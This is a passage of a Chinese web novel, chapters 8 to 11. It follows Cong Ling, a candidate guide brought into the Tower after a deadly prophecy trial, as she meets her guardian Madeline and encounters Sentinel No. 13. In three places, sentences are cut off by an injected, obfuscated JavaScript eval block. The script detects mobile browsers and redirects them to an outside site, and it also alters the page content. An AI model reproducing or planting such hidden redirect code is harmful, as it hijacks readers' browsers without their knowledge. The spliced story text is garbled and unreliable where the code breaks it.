但即使是这样,还是有很多人还在苦苦挣扎,痛苦地煎熬着,有不少人看上去已经到了忍耐的极限,一步步挪到了区域的边界,甚至一只手已经搭在了栅栏上,但就是不肯再往外跨出一步。 他们到底在等待什么呢,等待那个阈值,想看看自己究竟能不能在被烧死之前“顿悟”,就为了那一点渺茫的可能性,甘愿赌上生命吗? 有一个人差点要滚到丛泠的脚边,那是一个中年男人,他身上完整的皮肤已经不多了,整个人奄奄一息,他睁开眼睛,看着丛泠,嘴唇一张一合。 “救救我。”丛泠听清了他没说出口的声音。 丛泠毫不迟疑,半抱半拽着用力把他从预言区里拖了出来,几乎是同一时刻,中年男人身上的火焰熄灭了,他痛苦地叹息一声,视线清明的同时,脸上浮现出错愕与不甘。 他大概是不想死的,但更不想就这样放弃,放弃那仿佛唾手可得的,珍贵的机会。 就这么一个闪念,他的眼神就从刚才的绝望变成了怨毒。 他恶狠狠地看向丛泠,伸出两条焦炭一般的手臂,想要死死扼住她的喉咙!明明就差一点!只差最后一点了! 猝不及防间,丛泠感觉到了窒息,但这显然只是一种心理因素造成的错觉,因为中年男人的手臂没能靠近分毫。 在中年男人准备攻击丛泠的同时,他的身后忽然出现一道黑漆漆的影子,那影子伸出手,折断了中年男人的两条手臂,又轻松拎起他,像扔一只风筝一样,把他扔回了预言区。 丛泠还没能消化刚才那一瞬间感受到的强烈恨意,又被眼前这一幕惊呆了。 只是……她不明白,在做出这种残忍举动之后,眼前这个黑漆漆的哨兵,怎么像是很骄傲似的,忽然凑近了,低下头,以一种安静得近乎乖巧的眼神注视着她。 隔着一层黑漆漆的金属面罩,他的眼里有种跃跃欲试的期待,像是在等待……一个嘉奖? 8. 第 8 章 本次预言结束得很快。 毕竟这一次的“考验”很是直接粗暴,场地又集中,尽管现场有近百余人,这样庞大的一个群体,从生到死也耗不了多长时间。 用塔台内部的专业术语来讲,这个叫做,筛选过程十分高效。 半小时之后,那些驻扎在不远处高楼上的士兵们终于行动了,他们来到这片区域,井然有序地运走一具具焦尸。 至于那些活下来的,真正的幸运儿,则会被立刻带回塔台,做全方位的身体检测,以及新的异能评估。 珍妮看向车辆驶离的方向,幽怨地叹了口气,“说不定他们也可以得到一份工作呢。” 丛泠在昏迷中听见了这句话,原本麻木的神经都有了反应,指尖也随之颤动,险些就要醒过来。 但她头脑实在昏沉,眼皮上像压着巨石,努力几次,还是没能把眼睛睁开。 事实上,她昏过去有一段时间了。 丛泠一直以为自己有足够的承受能力,也从来没期待过外面的世界会更好。 但今夜发生的一切,还是超出了她全部的想象。 这么多人,这么多条生命,消失得太快,太轻易,还是因为这种荒唐的原因。就好像生命本来就是这样廉价的东西。 除此之外,最让人感到不适的,还是塔台士兵们的种种表现。 当他们迈着整齐漂亮的步伐,用一种极为轻松散漫的语气,踩过地上的断肢,议论起本次行动的快速、高效,丛泠终于忍不住吐了。 她一直在忍耐,忍耐到这个时候,她的身体比她的精神先一步崩溃了。 丛泠的理智告诉她,她应该保持冷静,并且尽早离开,她本来就不该来,不该暴露在塔台的视线之下,这里还有这么多的士兵,她之前成功逃脱了一次,不一定能再逃脱第二次。 但她又不甘愿就这么走了,她不想仅仅做一个无动于衷的旁观者,但事实上,她确实也做不了什么。 如果这就是“预言”,这就是被所有人都认同的规则,即使她认为这是错的,那又能怎么样呢? 丛泠的思绪乱成一团,她试着厘清自己的想法,却越挣扎越乱。 一团迷雾中,她忽然记起自己本来的目的,她其实也是为了得到更强的异能而来的,她这样想着,仿佛受到某种感召,缓慢地走进那片燃烧后的废墟。 脚下的触感很奇怪,像一滩滩淤泥,每踩一步都往下陷,但又不完全是湿润绵软的,还有一些粗糙的什么东西。 反正本次预言已经结束了,既有的悲惨结局不是她造成的,所以,她现在坦然地走进这里,不用背负那些道德枷锁,也没关系的吧? 她低头一看,才发现自己踩住的是某位死者的一只手。她踩在别人的尸体之上。 意识到这一点后,丛泠脑子里紧绷的弦终于断掉,她昏了过去。 * 珍妮依旧在小声抱怨,“这样的工作机会来得也太容易——” 丛泠心烦意乱,她迫切地想离开这里,却根本无法动弹,越来越焦躁,内脏仿佛搅成一团,就连呼吸都变得困难,这些情绪无从发泄,她的精神体在固有的一片空间里四处冲撞。 笃笃笃—— 谁在敲门? 丛泠盼望着珍妮快去开门,让敲门声停下来,她不想再听见哪怕多一种声音了。 珍妮仍然在喃喃自语,她的声音忽远忽近,带着轻轻的回声,那么珍妮大概是在室内,自己和她离得很近,自己应该也是躺在室内。 室内回荡着珍妮的说话声,以及脚步声,丛泠猜想,珍妮应该是在自己的床边走来走去。 丛泠越发努力地想睁开眼睛,她要赶紧醒过来,让珍妮别再说话了,让那个不断敲门的人也别再敲了! 等等,丛泠忽然意识到不对,敲门声和珍妮的声音不是来自同一片空间。 丛泠听见的敲门声是来自她的精神空间。 那是一间小木屋,木屋外阳光耀眼,窗台正对的位置有一片小小的湖泊,水鸟停在湖面梳理羽毛,这里平静极了,没有任何可能产生噪音的因素。 这间小木屋与世隔绝,从来没有访客。 别再敲了! 丛泠的视野忽然变得很低,她跳下木桌,踩过地板上乱七八糟的抱枕、玩偶、盆栽,跳起来搭住门把手,扭开了门。 门外是一大片黑漆漆的东西,像一团浓厚的雾气,遮蔽住了本该灿烂明亮的天空。 但无论如何,敲门声总算是停了。 门外的那团东西低下头,注视着房间内的另一团生物——一只炸毛的浅色虎斑猫。 丛泠一时冲动打开了门,此时又后悔了,虎斑猫冲着门外低吼,试图把门外的不速之客吓退。 那团黑漆漆的……不知是气态还是液态,不知道是云还是雾,总之是一团庞然大物,非但没有被吓退,反而越发激动地窜了进来。 那团黑乎乎的影子就这样挤进了这个小木屋,它的身形太大了,自己却像是意识不到,没有半点自觉,它在房间里四处翻滚、旋转,凭空掀起了一阵黑色的风暴。 天花板上的铃兰吊灯晃来晃去,摇摇欲坠,虎斑猫瑟瑟发抖,缩起尾巴,躲到了角落。 丛泠的内心升起一股怒火,这个房间本该是温馨的、柔软的、宁静的,现在却被搅得乱七八糟、面目全非! 小木屋猛烈地摇晃起来,这一次却不是因为不速之客,而是出于它自己的意志,黑影子犹犹豫豫地停下了动作,四处打量。 墙角的虎斑猫察觉到气氛变化,缓缓舒展身体,从角落里迈步出来,伴随着它的动作,它的身形迅速膨胀,外观也随之变化,最终变成了一只三米高的巨型美洲豹。 它翠绿而狭长的眼睛冷冷地扫视房间里的不速之客,片刻后,它扬起爪子,把那团黑色的风暴抓在掌心,用力攥紧。 庞大的黑色影子被推来搡去,按扁搓圆,最终被捏成了小小的一团毛线球。 美洲豹呼啸一声,优雅地舔了舔自己的爪子,身形缩小,又变成了虎斑猫。 它窝在温暖的木地板上,把那团柔软的黑色毛线球按在爪子下,一会儿拨过来,一会儿拨过去。 小木屋又恢复了平静,湖畔的水鸟依旧在梳理它的羽毛。 丛泠的呼吸频率渐渐平缓下来。 * 珍妮惊奇地看向床头方向,那台正闪烁着绿光的医疗装置。 就在几分钟前,显示屏上还跳出来好几项红色警告,提醒着周围的医护人员,昏迷中的病人精神状况极不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322298|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳定,急需强力镇静剂。 但没过多久,病人的一切体征数据就恢复了正常,甚至过于正常了,简直都不像是在昏迷,而是在沉睡。 珍妮放下手里的资料,轻手轻脚地走到床头。 这张病床原本是放在临时帐篷里,塔台的医生来检查之后,建议把病人放在一个更安静的环境里。 就连在旁边陪护的珍妮也被告知要保持安静,最好不要发出任何声音。 珍妮只好停止了小声抱怨,她原本以为,自己和丛泠聊聊天,她说不定会更快醒过来呢。 虽说她们相识的起因算不上美好,但丛泠留给她的印象还是不错的,珍妮也愿意在同事的基础上,多发展一些友情。 不过,到底能不能成为同事都还不一定呢。 珍妮确实感到费解,这世界上竟然有人能放弃塔台的工作机会!那甚至不是什么低端的工作,是向导!是站在精神类异能者行业顶端的向导! 珍妮有些郁闷,甚至想对着当事人叹气,好在她努力忍住了。 门外有人正在靠近,珍妮立刻起身,提前一步等在了门口。 来的人是塔台的士兵,他过来传达新的指令。 预言区已经清扫完毕,所有人员准备撤离,塔台决定不再等待丛泠醒来,打算就着这个状态先把她带回去。 考虑到目标人物的特殊性,塔台决定让她和第十三号哨兵同乘一辆车。 当然了,身为时刻监视着丛泠行踪的人,珍妮也要跟在一起。 珍妮点点头,提起一个重要的问题,“是不是应该先把哨兵的休眠仓送过去?” 虽然都是塔台的重要资产,但要是论起优先级,现役哨兵还是要比一个候选的向导更金贵一点。 士兵点点头,他身后还有一行人往这边走过来。 为了限制活动,方便管理,离开塔台的哨兵们大多时间都是只能待在休眠仓里。 第十三号哨兵尤甚,他还没有自己的专属向导,太不可控,危险性太高,如无必要,塔台会严格禁止他外出。 事实上,珍妮不知道第十三号哨兵为什么会在今夜忽然出现在这里。 珍妮早已经掌握了丛泠的所有行动轨迹,并时刻汇报塔台,无论如何,丛泠都不会再次失去行踪,不可能再次消失。 那应该是有其他的考虑? 珍妮想不明白,也就不去想了。 她带着士兵们走到一墙之隔的另一个房间,另一个更隐蔽、更安全,用来放置哨兵休眠仓的地方。 咦? 珍妮怀疑是自己看错了,但哨兵休眠仓所在的位置的确和之前不一样了,它变得离另一个房间更近,快要贴在墙边,要是再近一点,都可以越过门槛。 这个房间没有人来过,地上有一段不明显的金属摩擦痕迹,似乎是休眠仓自己把自己拖拽移动了一段距离,这合理吗,难道处于休眠状态的哨兵还保留了一部分行动能力? 即使可以自行移动,那这样做的理由又是什么呢?总不能说现役哨兵也想要逃跑吧? 珍妮倚在墙边,沿着休眠仓的移动方向往前看,恰好能看见丛泠床头仪器闪烁的红光。 珍妮若有所思,但并没有思考太久。与工作无关的事,她其实不太关心。 9. 第 9 章 “你醒了。” 丛泠睁开眼,先是看见了一尘不染的天花板,然后是一盏灯,再然后是旁边垂下来的一缕头发,红棕色,像一簇火苗。 珍妮对上她的视线,立刻展开一个微笑,“嗨。” 丛泠感觉自己睡了很久,以至于思维断片,完全想不起来闭眼之前发生过什么。 “医生说,你的身体状况其实不太好,平时没有发现异常,只是因为你足够年轻,身体的基础机能不错,事实上,你有点营养不良,过度疲劳,还缺乏光照。” “东部F区也不算是很偏远的位置吧,为什么会缺乏光照?你平时不常出门吗?” 丛泠撑着身体坐起来,看向身边的人,“这是哪里?” 珍妮和她对视一会儿,眨了眨眼睛,“先不说这个吧,你要不要吃点东西?” “或者看看新闻?”珍妮拿起遥控器,按了几下,眼前的显示屏亮起来,开始播放实时快讯。 画面里,成片的建筑物被海水冲垮,许多人在混浊的水流中起起伏伏,又很快被卷走。 没过多久,那些微弱的喊叫声彻底消失,只剩几棵被连根拔起的老树在水面上漂着。 新闻主播解说着当前影像:“南部外区某临海地区发生海啸,某不知名村庄遭遇正面冲击,死亡人数暂时无法统计……” 珍妮也小声地说:“外区的生态越来越糟糕了。” 丛泠随意扫了一眼,看上去丝毫不为所动,她掀开被子起身,打量起房间内的陈设。 这个房间面积不并大,却显得很空,家具很少,灰白色的墙面上没有任何装饰物。 右边有一扇窗,拉开窗帘,外面是一片炫目的光,以及高大的植物枝叶。 “这是哪里?”丛泠又问了一遍。 珍妮不太高兴地努了努嘴,把新闻按了暂停,“是员工宿舍啦。” 员工宿舍,哪里的员工宿舍?塔台吗? 丛泠看向窗外,慢慢回忆起一些前因,她脸上没多少表情,动作却显得颓然,后退两步,在靠墙的一张椅子上坐下了。 珍妮没料到她是这个反应,脸上有些讪讪的,“你很不开心吗?” 丛泠没太听清珍妮说了什么,她精神有点恍惚,漂浮不定,四肢也有点麻痹,不知道是太虚弱还是什么后遗症,整个人都感觉很乏力。 珍妮犹豫一会儿,跑去厨房拿出一个三明治,放到了丛泠的手边。 本以为丛泠会拒绝或者无视,没想到她直接拿起了三明治,对珍妮说:“谢谢。” 既然这样,珍妮稍微放下心来,凑近了点,提议道:“今天天气不错,我也有半天假期,等你吃完东西,我带你去出去走走,熟悉一下周围的环境。” 丛泠点头,安静地进食,她不喜欢吃三明治,尤其是手里这种加了很多香料的,但她很快把它吃完了。 珍妮看了看今日室外的温度,换了一身装束,也替丛泠拿了一件外套,是和她自己身上那件一模一样的,深灰色的统一制式的衣服。 丛泠笑了下,珍妮不明所以,她有些忐忑,这是塔台工作人员的制服,或许丛泠会抗拒穿上它。 不过,正如接受食物一样,丛泠同样接受了这件御寒的衣服,并说了谢谢。 珍妮这下轻松了不少,她带着丛泠走出房间,走出楼道,穿过一条人造痕迹很重的绿化带,走进一个空中花园。 丛泠这才发现,她们是在距地面一百多米的高空之上,楼层显示这是二十三楼,透过脚下的玻璃层,能看见楼下同位置的天台。 珍妮介绍道:“其他区域的塔台我没有去过,但格局分布应该是差不多的。” “一层到十层是基础办公,十层到三十层是训练室以及大部分工作人员的宿舍,三十层以上,就是哨兵与向导们的专属空间了。” 丛泠一边听,一边沿着小径往前走,她观察四周,很专注地看那些横生乱长的植物,也不知道她听进去没有。 花园小径走到尽头,丛泠停下来,看向珍妮,问道:“为什么你总是能很快就找到我?” 从塔台逃走的那一天,在川流不息的街道上,是珍妮及时拉住了她,后来在预言区,也是珍妮第一时间发现了她。 奇怪的是,在这个过程中,丛泠并没有被追踪或是被监视的感觉,好像省略了寻找的过程,在需要时,珍妮可以直接找到她的定位。 话题转换太突然,珍妮有些讶然,不过,对于这个问题,她也是早有准备,她只是没想到丛泠会这么直接地问出来。 “看来你猜到了。”珍妮很坦然,“这就是我的能力啊,探查和追踪,来到塔台的第一天,向导测试把我筛选掉了,好在,我又得到了一个新的测试机会……” “我的入职测试,就是找到你。” 丛泠心里有些不适,不自觉地偏开了眼神,猜到是一回事,当面得到确认又是另外一回事了。 看她这个反应,珍妮也有点不自在,“你……你应该可以理解吧,就算没有我,也会有其他人、其他方法,总之,结果是一样的,塔台一定会掌握你的行踪。” 说来也怪,珍妮原本并不打算和盘托出,她也没必要这样做,但不知为什么,只要待在丛泠身边,好像就掉入某种氛围,不自觉对她产生信赖,想要吐露更多实情。 丛泠点点头,她不知道自己该做出什么表情,她有点难过,却不是因为珍妮,她只是再一次感觉到自身的无力,同时她又很茫然,为什么。 “我不喜欢这里。”丛泠忽然说:“我一秒钟也不想再待下去。” 珍妮觉得很为难,“可是你已经在这里了。” 丛泠不知道自己为什么要对她说这些话,好像突如其来冒出来一股极为强烈的倾诉欲,可能是她脑子里总是在想这句话,也有可能是实在找不到其他可以说话的人了。 丛泠静了静,过了会儿,仿佛冷静下来了,又问:“你会让我走吗?” 珍妮面露茫然,“走?你是指离开塔台吗?我没有相关的权限,事实上,我的工作已经完成了,过了今天,就会有其他人接手。” “但我猜测,你应该很难离开,再说了,为什么要走,塔台是世界上最安全的地方,你有资格留在这里,得到最完善的保障,为什么还要走?你要去哪儿?” 丛泠低声说:“我要去找我的家人。” 珍妮恍然,原来是这样,提起“家人”这个词,珍妮忽然想起了另一件很关键的事。 珍妮语速很快地说:“有个东西应该交给你,我的上级让我在你醒来后第一时间就交给你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322299|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我不小心忘记了!” 珍妮一边说,一边带着丛泠急匆匆地往外走,一路不停,穿过一道道长廊,最终回到了原来的宿舍。 “喏,这个,好像是从你的监护人那里拿到的。”珍妮搬出一个有些份量的带锁的箱子。 丛泠的脸色一下变得很难看,玛德琳……丛泠脑子里闪过许多不好的猜测,她甚至感觉自己在发抖,她努力压下心里的恐惧,伸手打开了那个箱子。 滴滴滴—— 伴随着一阵欢快的电子音,一个银光闪闪的东西从箱子里跳了出来。 “呀!”珍妮一下笑了出来,“是机械小狗,这是你的宠物吗?” “你的家人对你真好,竟然把宠物也送来陪你,” “哇,做工真精巧,就算没有安装智能系统,市面上最普通的一只机械犬,维护起来也需要不少资金呢。”珍妮一边说着,忍不住伸出手去摸一摸。 虽然是机械宠物,但各项工艺都做得很仿真,尤其是神态与动作,如果忽略它的皮肤,简直与真的宠物小狗没有差别。 这只银光闪闪的机械小狗避开了陌生人的手,蹭到了丛泠的脚边,小声呜咽。 丛泠蹲下来,一时百感交集,又是庆幸,又是失落,伸出手揉了揉小狗的金属脑袋。 玛德琳暂时还是安全的,真是太好了。 但玛德琳无疑已经处于塔台的控制之下,否则她不会轻易把这个箱子交给其他人。 这是一种威胁吗?丛泠想这样问,但这个问题的答案太过明显,根本不需要再向旁人求证。 “我知道了,”丛泠没有抬头,说:“我可以留下来,但我有个条件。” 珍妮再次面露难色,说:“我没有权限……” 丛泠截过她的话,说道:“告诉你的上级,我要尽快见到玛德琳,确认她的安全。” 说完,她没有再理会珍妮,而是抱起地上的机械小狗,去到了门外的长廊。 刚才被珍妮带着四处熟悉环境,丛泠粗略地扫了一眼塔台建筑的楼层分布,重点记下了哨岗的位置。 现在是上午十点,正是换岗的时间。 塔台顶部,面向东面的岗哨,正在进行人员轮换,屋檐后的阴影走出一个人,看身形和装束,像是一位现役哨兵,身形偏瘦。 隔着这么远的距离,丛泠并不能完全看清,她只是隐约辨认出那道影子,用一种模糊的直觉。 丛泠按了按自己的心口,硬硬的,有些硌手,那是一个环状物体,穿在项链里,被她随身佩戴。 那是一枚颜色斑驳的旧戒指,是她离开“家”时,带走的唯一一件东西。 丛泠蹲下身体,抱起那只一直绕着她转圈的机械小狗,把项链取下,挂在它的脖子上。 “小玉,乖狗狗。”丛泠亲了亲小狗的额头,小声说:“你帮我认一认,那个人是她吗?” “好像是她,又好像不是她。” 丛泠喃喃道:“过去太久了,我已经记不清姐姐的样子了。” 小玉嗅了嗅戒指上的气息,依言看向远处的人影,小玉的眼睛是高净度的宝石,在光线照射下显得格外明亮、剔透。 小玉望了一会儿,小小地呜咽一声,回转方向,把冰冷的金属脑袋靠在丛泠的肩头。 10. 第 10 章 丛泠睁开眼睛,还没来得及看清今日份的天花板,一个毛茸茸,不,是冷冰冰的东西就飞快窜进了她的怀里。 “小玉,你现在变得好粘人啊。”丛泠抱着机械小狗坐起来,把它放在了被子上,自己穿上拖鞋走了。 小玉跳下床,四只脚踩在木地板上,咚咚作响。 现在是早上七点,冬天的白昼还没开始,窗外泛起一点幽光。 丛泠并没有太多来到塔台的实感。 她暂时住在第二十三层的员工宿舍,就住在珍妮的隔壁,没有见到其他人,没有接到任何安排,只是获得了一把钥匙,和一张塔台内部公共空间的准入证。 按照珍妮的说法,属于她的任务已经完成,接下来,与丛泠相关的工作会移交给其他的人。 但是,清早起来,门外有人敲门,丛泠打开门,见到的人依旧是珍妮。 珍妮倒是没觉得有哪里不对,神采奕奕地向她问好,“嗨,早上好,昨晚休息得怎么样?” 丛泠点点头,说:“早,你是要带我去见玛德琳吗?” 珍妮睁大了眼睛,感慨道:“你真的很惦记她,你的家庭氛围一定很好吧。” 丛泠的成长过程中没有多少朋友,但认识的人并不少,形形色色各类人都有接触,却从来没有见过像珍妮这种性格的人。 她有点太活泼,太轻松了,似乎世界上没有任何事能让她心情沉重过三秒。 好在,发表完不必要的感慨,珍妮还是谈起了正事,她说:“是的,上级同意了你的要求,今天你就可以见到你的监护人,我会全程陪同。” 丛泠点点头,“好,我们出发吧。” 珍妮拦了她一下,说:“其实不用那么着急,你吃过早饭了吗?” 丛泠说:“我吃了一个三明治。” 珍妮皱起脸,“又是三明治啊,其实食堂有很多其他选择的。” 眼看丛泠已经换好衣服,拧开了门,珍妮赶紧追过去,指着地板上的一团物体问,“它怎么办?不用带上它吗?” 丛泠还真把小玉给忘了,她回过头,催促道:“小玉,快点快点。” 小玉立刻从地上弹起来,飞快跳进了那只原本就是为它定制的箱子,自己搭爪子关上箱门,还不忘幽怨地看了丛泠一眼,似乎是在埋怨她把自己给忘了。 珍妮围观完全程,面露惊讶,“它真聪明,竟然可以完全理解指令,为什么?用的是哪款智能芯片?” 丛泠笑了,珍妮又惊讶了,她还是第一次见到这位“向导候选人”露出真正轻松的笑意。 丛泠的语气也变得柔和,她说:“没有什么特殊原因,只是因为,它本来就是一只很聪明的小狗。” * 丛泠本以为自己只能在塔台内部和玛德琳见面,没想到,珍妮带着她一路刷开许多道关卡,直接离开塔台,来到了北部A区的闹市街道。 珍妮坐在驾驶位,神情有些紧张,和珍妮的行事作风不同,她的驾驶风格非常小心谨慎,把一辆精良的越野车开出了洒水车的速度。 这辆外观做旧的越野车最终停在了一个商业广场,门口有一个缓坡,两旁有迎宾气球人在随风摇摆,丛泠的视线在那上面停了很久。 珍妮也不禁一笑,“真有趣,十年前这里也是这个样子。” “十年前?”丛泠怀疑道:“这个广场十年前就已经存在了吗?” “是的,”珍妮转向她,认真地说,“北部A区,这是世界上最靠近塔台的一个城区,也是最安全稳固的地方,只要当地居民愿意,这里的一切都可以永远如初,永远不变。” 对于这些话里传达的意思,丛泠不置可否,她推开车门,踩在了地上,实实在在的地面上。 塔台当然也是真实存在着的建筑物,但丛泠身处其中,总觉得像是在漂浮,无数人在里面穿行,但每个人的感受被完全隐藏,最终汇成一个规整而无情的整体。 那让她感到很不适。 珍妮紧随其后,看了看地图,指着不远处最显眼的一处招牌,“就是那里了!” …… 丛泠怎么也没有想到,再次和玛德琳见面,换了一个城市,却依旧是在一间酒馆。 更重要的是,这是一家已经由玛德琳接手经营的新酒馆。 丛泠的惊讶显而易见,这是怎么回事?总不能这也是塔台的安排? 玛德琳摇了摇头,解释道:“既然你要留在这里,我也打算搬到近一点的地方,没事,还是老本行,和以前也差不多。” 玛德琳的语气很轻松,但丛泠却很难过,一直以来,她和玛德琳的愿望都是远离塔台,远离内区,结果命运弄人,她们偏偏要生活在一个无比接近塔台的地方。 当着珍妮的面,玛德琳没有再展开这个话题,她笑谑道:“内区居民的口味也不难掌握,无论在哪里,我的酒馆都少不了客人。” 珍妮站在丛泠的身后,好奇地打量眼前这位女士,她观察她们的神情、语气,试着揣摩她们的内心想法。 好在,在满足了好奇心之后,珍妮走远了一段距离,开始检查酒馆四周,确定环境安全,同时留给这对“母女”一个交谈的空间。 丛泠和玛德琳坐在一张长桌前,面前摆着两杯色彩缤纷的酒。 丛泠张了张口,没说出话,只是紧紧攥住了玛德琳的手。 玛德琳安抚性地一笑,拍了拍她的手。 桌面的玻璃杯泛起涟漪,站在地上的小玉安静地望着这个方向。 “其实我早就想过会有这么一天。”玛德琳说:“只是没想到,会这么快。” 说完,玛德琳又点了点头,像是在宽慰丛泠,也是宽慰自己,“总不能一辈子躲躲藏藏,你长大了,是时候去见见更大的世界。” “可是,姐姐说过——”丛泠急切道。 “她说过,让你永远不要踏入塔台,是的,我也记得,”玛德琳叹气,“可是现在没有更好的办法了。” “再何况,当时你还太小,而现在你长大了,别害怕,你可以试着去应对,你一定可以做到。” 丛泠迟疑地点头,“我会的,我只是很担心你……” 玛德琳摇头,“ling,我是你的长辈,我拥有更丰富的阅历,我可以应对更多更复杂的情况,你最应该做的事是照顾好自己,而不是担心我。” “再说了,”玛德琳看了看远处珍妮的方向,神秘地一笑,“塔台有什么了不起,谁说进去了就不能再出来。” “说不定到时候行动会更方便呢,”玛德琳放低声音,暗示道:“别忘了,我们在里面也是有助力的。” 丛泠被玛德琳逗笑了,只笑了一小会儿,嘴角又慢慢放下来。 如果可以,她宁愿自己在塔台是孤立无援,也不想要姐姐当她的所谓“助力”。 玛德琳当然也明白她的想法,这只是一种口头上的安慰,她只是希望她轻松一点。 半小时后,珍妮回来了,她端着一杯饮料,盛赞玛德琳的手艺,还表示,如果以后有外出任务,她一定会带上同事来光顾。 玛德琳对她微笑,说:“是吗,欢迎。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322300|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍妮看了看酒馆内的时钟,似乎想开口催促,视线落在地上,又被机械小狗牵走了视线,蹲了下去。 见状,玛德琳又说了几句关于小玉的事。 她告诉丛泠,小玉的电量还可以支撑至少三个月,但它足关节的配件不小心掉了一个,市面上买不到那个配件,所以小玉有时候跑动起来会跛脚,你可千万不要笑话它。 谁知道丛泠听完,立刻捉住了小玉的一只脚掌,毫不客气地笑了起来,“小玉!可怜的小玉,现在变成跛脚小狗啦~” 机械小狗在丛泠的怀里扑腾起来,它的表情委屈极了,这可能是有生以来第一次,它想要挣脱主人的怀抱。 珍妮在旁边看了一会儿,回过神来,又看了看时钟。 赶在旁人开口前,玛德琳走过来,用力拥抱了丛泠,对她说:“我们还会再见的。” 酒馆的木门上悬挂着几只金色的铃铛,丛泠推门离开,留下了一串清脆响动。 * 回程路上,珍妮依旧坐在驾驶位,行驶速度却比来的时候更慢了。 两人的视线在后视镜里对上,珍妮解释道:“现在回去,正好赶上第二时段的训练结束,公共食堂一定有很多人,我可不想和那些老员工抢位置。” 丛泠并无异议,反正最终都是要回到塔台,早一点晚一点已经没什么区别。 她仔细地看着窗外的风景,平心而论,内区的城市基础建设是要好很多,除了规整、美观,还兼具实用性,比如随处可见的医疗据点、安全屋,可以在发生天灾时第一时间就近躲避。 一直生活在这里的居民,应该能得到足够的安全感。 丛泠只是又一次想起了童年时的家,那里地方很大,天地之间距离很远,附近生活的人很少,很久都见不到一个新鲜面孔。 但那时候,她又不满足于此,她总是向往热闹、繁华,她告诉姐姐,她最想去的地方,是几十公里外的那座城市,那些夜里总是亮着灯的城市。 “到了。”珍妮说道,同时透过镜子看了她一眼。 丛泠拉开车门,再一次站在了这座庞大的建筑物之下。 和之前站在这里的感受不同,现在的她已经做出选择,反而放下了焦躁,变得安定了很多。 她甚至努力露出一个微笑,她想,无论如何,可以离姐姐更近一点了。 * 正如珍妮所料,第二阶段的日常训练结束不久,大批工作人员陆陆续续从公共食堂走出。 珍妮和丛泠停在某个路口,等待前方的一群人先通过。 嗯? 丛泠感觉到一阵风拂过自己的头发,她转过头,什么都没看见。 丛泠闭上眼睛,其余的感官变得更敏锐,她察觉到一道视线,来自远处上方,塔台的顶端。 丛泠睁开眼睛,这次锁定了方向,她看见一扇半开的窗,窗台上摆着一株细弱的植物,正在微微颤动。 而在窗台之后,似乎有个沉默的人影。 是谁?答案昭然若揭,并不难猜。 丛泠想起了那天突然造访的黑色“毛线球”,感觉有些烦闷。 她不太喜欢这种,无形之中受到牵绊的感觉,她知道对方没有恶意,甚至可能是无意的,就像一阵风拂过一片树叶,只是无心之举。 正如她可以一眼发现对方的存在,对方也是不自觉地就锁定了她的方向。 她不是反感,只是本能想要躲避,远离。 童年结束之后,她不再喜欢任何一种可能会断裂的密切的关系。 11. 第 11 章 这天夜里下了很大的雨,急促雨声中,丛泠被一阵更猛烈的敲门声吵醒了。 丛泠翻身坐起,听见自己非常明显的呼吸声,她定了定神,看见黑暗里闪着两点幽光,那是小玉的一双眼睛。 小玉正警惕地坐在门后,随时准备往前扑去。 “小玉,过来。”丛泠小声说。 小玉不情不愿地被丛泠藏在了身后。 丛泠打开门,走廊里光线昏暗,对面的一行人面目模糊,为首的人拿着一张调令,通知丛泠,立刻去往塔台顶层。 那人一板一眼地说:在刚结束的一次特殊任务之中,第十三号哨兵负伤严重,急需她的帮助。 丛泠还没来得及做出反应,已经被裹挟着往外走,丛泠只能趁没人注意时偷偷回头,做了个小动作,让小玉安心留在房间里。 一行人肃穆无声,很快把丛泠带到了顶层的某个房间门前,门上写着“疏导室”的字样。 熟悉的灰色走廊,熟悉的金属柜门,丛泠心里泛起一点疑惑。 按照之前得到的信息,第十三号哨兵并没有正式投入使用,这才几天过去,他怎么就突然去执行任务,甚至还因此负伤了? 丛泠第一次见到这位哨兵,他还处于一种被重重束缚禁锢住的状态,但在那之后,丛泠却总是在各种意想不到的场合下听到他的消息,或者直接见到他。 他似乎变得比从前自由多了? 丛泠没有太多思考的时间,下一瞬间,她听见门锁响动,紧接着,背后有人推了她一下。 丛泠不由自主地跨过门槛,还没等她站稳,这道门又被从外面关上了。 房间里一片漆黑,丛泠尝试着往前走了一步,双脚往下一陷,晃了晃,似乎踩进了一块海绵。 丛泠有些茫然,她从睡梦中被带到这里,整个过程没有超过十分钟,她完全不知道该做什么,该怎么做。 眼前一片昏黑,很安静,让人不辩方向。 好在这不是一个完全封闭的房间,空气中有风在涌动,密闭的窗帘被风掀开一线,露出一丝微光,映出了房间里的布局。 